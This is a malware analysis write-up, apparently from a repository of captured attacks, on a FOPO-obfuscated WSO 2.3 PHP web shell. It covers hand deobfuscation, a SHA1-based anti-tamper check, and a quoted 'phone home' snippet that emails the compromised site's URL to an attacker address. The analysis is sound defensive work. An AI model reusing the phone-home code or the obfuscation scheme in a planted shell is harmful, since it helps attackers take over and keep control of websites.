Skip to content

Latest commit

 

History

History

fopo_k4x_wso

Fake-FOPO-encoded WSO 2.3

This attack was part of the same campaign that attempted to install the K4X SHELL.

The aspect that caught my eye was the FOPO comment at the beginning of the downloaded code:

/*
Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/
This code was created on Monday, June 13th, 2016 at 20:35 UTC from IP 105.101.73.6
Checksum: e49039ce96a8397fe017a8efcc58e8edcbcca45c
*/

Something about it didn't look right, so I deobfuscated it by hand. I focused on the deobfuscation, and I didn't realize that it was truly FOPO-encoded. A common FOPO-decoding program works much faster. Since I did the work, I might as well document it.

FOPO Deobfuscating by hand

The obfuscation appears to be about 7 or 8 layers of use of base64_decode(gzdeflate($somestring));. Each level gets to surround the result of that in an @eval();, along with obfuscating the strings "base64_decode", "gzdeflate", and sometimes "strrev" or "str_rot13".

Deobfuscation by hand consists of pretty-printing, finding appearances of eval, changing them to print, then interpreting that modified PHP to get the next level of un-encoded PHP.

There is a hitch at about the 3rd level...

Anti-reverse-engineering mechanism

It appears that the code has embedded in it, the SHA1 hash of part of its contents. That is, the code takes advantage of PHP's __FILE__ built-in to read its name's contents. The code removes carriage-return (ASCII 0x0d) and newline (ASCII 0x0a) valued bytes, then runs the remaining bytes of its contents through preg_replace(), leaving it with 309 bytes to give to the SHA1 hash function. If the SHA1 hash value of those 309 bytes agrees with the embedded SHA1 hash, the code deobfuscates a WSO (Web Shell by oRb) web shell and executes it. Otherwise, it deobfuscates an enormous amount of rubbish bytes, and displays them.

You can verify the whole thing yourself:

  1. Calculate the SHA1 hash of the original file: php ./sha1.php 2001:16a2:4e5f:7800:8506:10f0:187e:f721XGYFnS5uIQAzVElOak3WGgAAAAE.0.file
    That should display "0b7917164ae38e34b09b48ed527c6496992b1469", a string appearing in that file.
  2. Run the preg_replace() on the original file: php replace.php 2001:16a2:4e5f:7800:8506:10f0:187e:f721XGYFnS5uIQAzVElOak3WGgAAAAE.0.file > replaced_bytes
  3. Recalculate the SHA1 value: php sha1 replaced_txt
    That should also display "0b7917164ae38e34b09b48ed527c6496992b1469".

How about that? FOPO-encoding isn't that bad to deobfuscate by hand. Also, embedding a SHA1 hash in the hashed document seems like it would be exceptionally difficult. You can make SHA1 collisions, but it sounds computationally intensive.

Analysis of Payload

The deobfuscated code is definitely WSO v2.3. It has the function names of WSO, and the use of call_user_function() based on the value of the HTTP parameter 'a' (for "action"?). It's almost identical to my reference WSO 2.3, except that it appears to have gotten "minified" somewhere along the way. All the HTML and JavaScript sections got turned into one-liners, and the use of single- and double-quotes all over the code has actually been improved from the standpoint of not having so many backslashes to escape single-quotes in single-quoted strings.

Phone Home

The sole departure from stock WSO 2.3 is a phone home at the end of the code.

<?php
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$bilsmg = "Link Mailer : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
$bilsnd = "paypai2153@gmail.com";
$bilsub = "New Mailer !! {$ip}";
$bilhead = "From: MaileRyew";
$bilhead .= $_POST['eMailAdd'] . "\n";
$bilhead .= "MIME-Version: 1.0\n";
$arr = array($bilsnd, $IP);
foreach ($arr as $bilsnd) {
    mail($bilsnd, $bilsub, $bilsmg, $bilhead, $message);
}

The address paypai2153@gmail.com can be found in what's maybe a test of some encoding method. Other than that, I don't find it in search engines.

It looks a bit buggy too, the use of $IP in

$arr = array($bilsnd, $IP);

will probably yield an array with one string element and one zero-length string. The code uses $ip earlier, and never assigns to $IP. It's impossible to say if this is a bug, or what the bug is.